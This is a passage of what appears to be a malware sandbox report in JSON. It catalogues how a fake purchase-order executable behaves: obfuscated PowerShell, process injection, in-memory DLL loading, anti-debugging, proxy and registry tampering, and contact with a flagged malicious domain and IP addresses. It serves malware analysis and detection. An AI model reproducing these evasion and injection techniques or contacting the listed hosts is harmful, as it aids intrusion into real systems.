Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$50","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Unusual Characteristics","name":"Command line contains PowerShell","description":"$51","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-510","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00000864]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7312)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5088)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 864)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Network Related","name":"Recently registered domain detected","description":"Recently Registered domain detected: \"zynimg.com\" (25 days old). Commonly seen with phishing or other suspicious domains","origin":"Network Traffic","mitre_attack_id":"T1583.001","relevance":10,"id":"network-8600","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 45.151.91.170 on port 80 is sent without HTTP header\n TCP traffic to 107.173.227.99 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" connects to 45.151.91.170 on port 80 (TCP); Domain: \"zynimg.com\"\n Process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" connects to 107.173.227.99 on port 80 (TCP)","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find a SID for the specified name","description":"\"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"bMHCYvt\"\n \"Sid\": \"2060950137640\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-8LD9T6N\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}\n \"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"bMHCYvt\"\n \"Sid\": \"2450283398776\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-8LD9T6N\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}","origin":"API Call","mitre_attack_id":"T1087","relevance":2,"id":"api-189","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005088)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access/write temporary files","description":"Process \"%WINDIR%\\SYSTEM32\\cmd.exe\" with commandline \"/C \"%TEMP%\\\\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat\"\" (UID: 00000000-00003572)","origin":"Monitored Target","mitre_attack_id":"T1074.001","relevance":5,"id":"target-423","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Uses powershell to execute new process","description":"$52","origin":"Monitored Target","mitre_attack_id":"T1543","relevance":5,"id":"target-249","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$53","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$54","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Command line contains long Base64-encoded string","description":"Commandline contains long base64 encoded string \"lte9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc81.......\" in [Source : 00000000-00000864]\n Commandline contains long base64 encoded string \"ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoI.......\" in [Source : 00000000-00000864]\n Commandline contains long base64 encoded string \"ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoI.......\" in [Source : powershell.exe]","origin":"File/Memory","mitre_attack_id":"T1132","relevance":5,"id":"string-509","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"__PSScriptPolicyTest_cngezrz0.hi4.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_cngezrz0.hi4.ps1]- [targetUID: 00000000-00000864]\n Dropped file: \"__PSScriptPolicyTest_trctbrev.kim.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_trctbrev.kim.ps1]- [targetUID: 00000000-00005088]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes a process with a long commandline","description":"$55","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-31","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes the C# compiler","description":"Process \"csc.exe\" with commandline \"/noconfig /fullpaths @\"%TEMP%\\\\u2nd3ci3\\\\u2nd3ci3.cmdline\"\" (UID: 00000000-00007936)","origin":"Monitored Target","mitre_attack_id":"T1027.004","relevance":1,"id":"target-57","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Submission/internal name is suspicious for an executable","description":"Input file type is \".NET exe\" and the name \"HJ GROUPS - PURCHASE ORDER #170331.exe\" contains indicator \"order\"","origin":"Monitored Target","mitre_attack_id":"T1036","relevance":10,"id":"target-40","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -Command \"$j=92-52;$xdwMRWE='NV3Latpq';$li8WT7BZ='e9f6ca92aaacaef6b790\" - (UID: 00000000-00005088)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Script loads executable in memory (Antimalware Scan Interface)","description":"Executable loaded in memory \"ZM@\t!L!hTsip orrgmac naon tebr nui nOD Somed\n.\n\n$EPL[jV!# @ @#S@` Ht.xet `r.rsc@@@r.leco`\n@B#H 0(\n\n(&\n(\no*\n(*\nSBBJ4v0.3.3091l~#xS#rtnisgU#SG#IUD`B#olbG\t3%\n3,L:jj, PU\n vbhb!b)'),\tb.8.A3#2udnc33id.llPahtnmoaGetmcsroilbyStsmeOjbcetyStsmeR.feeltcoinsAesbmylLaoAdssmelbyc.otrgyStsmeR.nuitemC.moipelSrreivecsoCpmlitaoiRnlexataoisntArtbitueuRtnmiCemoapitibilyttArtbitue2udnc33iGtexEcetuniAgssmelbypoI_enuqlatiypADpmoianeg_tuCrrneDtmoianoLda $X)Nۆw`LzV\\4\t \t\t\t \t\tTWarNpnoxEectpoiTnrhwos## #C_rolDMliansmocer.eldl% 0H@XLL4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0,FileDescription 0FileVersion0.0.0.0<\nInternalNameu2nd3ci3.dll(LegalCopyright D\nOriginalFilenameu2nd3ci3.dll4ProductVersion0.0.0.08Assembly Version0.0.0.0 3\"","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1055.001","relevance":10,"id":"amsi-3","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"powershell.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 2572)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 2572)\n \"powershell.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" (Handle: 2288)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" (Handle: 2288)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"zynimg.com\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$56","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet code contains potential unpacker","description":"Observed function \"System.Load\" in \"rhmssxgz.dll\"","origin":"Static Parser","mitre_attack_id":"T1620","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Tries to map intranet network resources to internet zone","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00003600.00000000.300576.00890000.00000004.mdmp, 00000000-00003600.00000001.300971.00890000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00003600.00000000.300576.00890000.00000004.mdmp, 00000000-00003600.00000001.300971.00890000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00004240-00000C2C-3694979059\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"4240\" - (UID: 00000000-00004240)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at FEA50000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"rhmssxgz.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"powershell.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"RESCFCD.tmp\" has type \"Intel i386 COFF object file not stripped 3 sections symbol offset=0x47e 9 symbols created Thu Sep 3 23:18:34 2026 1st section name \".debug$S\" 2nd section name \".rsrc$01\"\"\n \"CSC568C94D91187466593CBC9BE77294AA.TMP\" has type \"Microsoft Visual C binary resource file\"","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"rhmssxgz.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections\"- Location: [%TEMP%\\rhmssxgz\\rhmssxgz.dll]- [targetUID: 00000000-00003728]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"powershell.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00004240)\n \"powershell.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003728)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"me=|DataDirectory|aspnetdb.mdf;User Instance=true\" providerName=\"System.Data.SqlClient\"/>\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00003600.00000000.300576.00890000.00000004.mdmp\n 00000000-00003600.00000001.300971.00890000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"rhmssxgz.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections\"- Location: [%TEMP%\\rhmssxgz\\rhmssxgz.dll]- [targetUID: 00000000-00003728]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"rhmssxgz.dll\" was detected as \"Microsoft Visual C# / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Ability to hide a payload in the commandline","description":"Process \"powershell.exe\" based on artifact \"frombase64string\" (UID: 00000000-00004240)\n Process \"powershell.exe\" based on artifact \"frombase64string\" (UID: 00000000-00003728)","origin":"Monitored Target","mitre_attack_id":"T1140","relevance":10,"id":"target-43","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Able to hide command execution using obfuscation techniques","description":"$57","origin":"Monitored Target","mitre_attack_id":"T1027.010","relevance":5,"id":"target-498","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"powershell.exe\" at 00000000-00004240-00000033-726443\n \"powershell.exe\" at 00000000-00003728-00000033-1154026\n \"csc.exe\" at 00000000-00002180-00000033-599877\n \"cvtres.exe\" at 00000000-00002352-00000033-84943","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses PowerShell with a Windows hidden command line parameter","description":"$58","origin":"Monitored Target","mitre_attack_id":"T1564.003","relevance":7,"id":"target-114","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"Process \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" launched with commandline \"/noconfig /fullpaths @\"%TEMP%\\\\rhmssxgz\\\\rhmssxgz.cmdline\"\" (UID: 00000000-00002180)","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"rhmssxgz.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections\"- Location: [%TEMP%\\rhmssxgz\\rhmssxgz.dll]- [targetUID: 00000000-00003728]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$59","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"rhmssxgz.dll\" claimed CRC 84090 while the actual is CRC 49244","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"etUserNameExW\" (Source: \"00000000-00004968.00000002.204905.FD1F0000.00000004.mdmp\")\n Found string \"etUserNameExA\" (Source: \"00000000-00004968.00000002.204905.FD1F0000.00000004.mdmp\")\n Found string \"etUserNameA\" (Source: \"00000000-00004968.00000002.204905.FD1F0000.00000004.mdmp\")\n Found string \"etUserNameW\" (Source: \"00000000-00004968.00000002.204905.FD1F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\HJGROUPS-PURCHASEORDER#170331.exe.log\"\n \"HJGROUPS-PURCHASEORDER#170331.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\HJGROUPS-PURCHASEORDER#170331.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00005740)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00004968)","origin":"API 